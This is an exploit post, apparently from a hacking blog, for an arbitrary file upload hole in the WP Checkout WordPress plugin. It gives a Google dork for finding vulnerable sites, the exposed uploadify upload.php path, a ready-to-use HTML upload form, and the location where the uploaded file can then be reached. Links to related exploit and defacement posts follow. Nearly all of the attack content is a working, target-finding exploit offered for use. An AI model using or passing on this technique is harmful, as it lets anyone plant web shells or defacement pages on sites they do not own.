WordPress Plugins WP Checkout - Arbitrary File Upload

# Exploit Title: WordPress Plugins WP Checkout - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/wp-checkout
# Date: 13 June 2017
# Exploit Author: x0id

# Tested on: Windows 7

1) Search target with Google Dorking
inurl:/wp-content/plugins/wp-checkout
Index of /wp-content/plugins/wp-checkout/

2) Exploit the websites
https://localhost/wp-content/plugins/wp-checkout/vendors/uploadify/upload.php
Vulnerability? Page Blank!

3) Proof of concept (PoC)
<form method="POST" action="https://localhost/wp-content/plugins/wp-checkout/vendors/uploadify/upload.php" enctype="multipart/form-data">
<input type="file" name="Filedata" />
<button>Upload!</button><br/>
</form>

4) Result file access.
https://localhost/wp-content/uploads/wp-checkout/uploadify/random-file.html

Author : Fatih

Share this

Google Facebook Twitter More

• Digg
• Linkedin
• Stumbleupon
• Delicious
• Tumblr
• BufferApp
• Pocket
• Evernote

Related Posts

• Cara mengetahui kelemahan suatu website dengan nikto di windows   Nikto adalah Nikto adalah tools untuk pemeriksaan vulnerability pada a
• Deface Dengan CSRF Deface Dengan CSRF Malam semua kali ini Team UNDERGROUD akan sedikit membagikan teknik
• Joomla Component com_uploader ( Remote File Upload Vulnerability ) # [+] Author : wlhaan hacker ## [+] Email : iit@HoTMaiL.coM ## [+] Site : http://www.
• WordPress Gravity Forms Plugin Exploit and File Upload [+] Title : WordPress Gravity Forms Plugin Exploit and File Upload[+] Author : Fir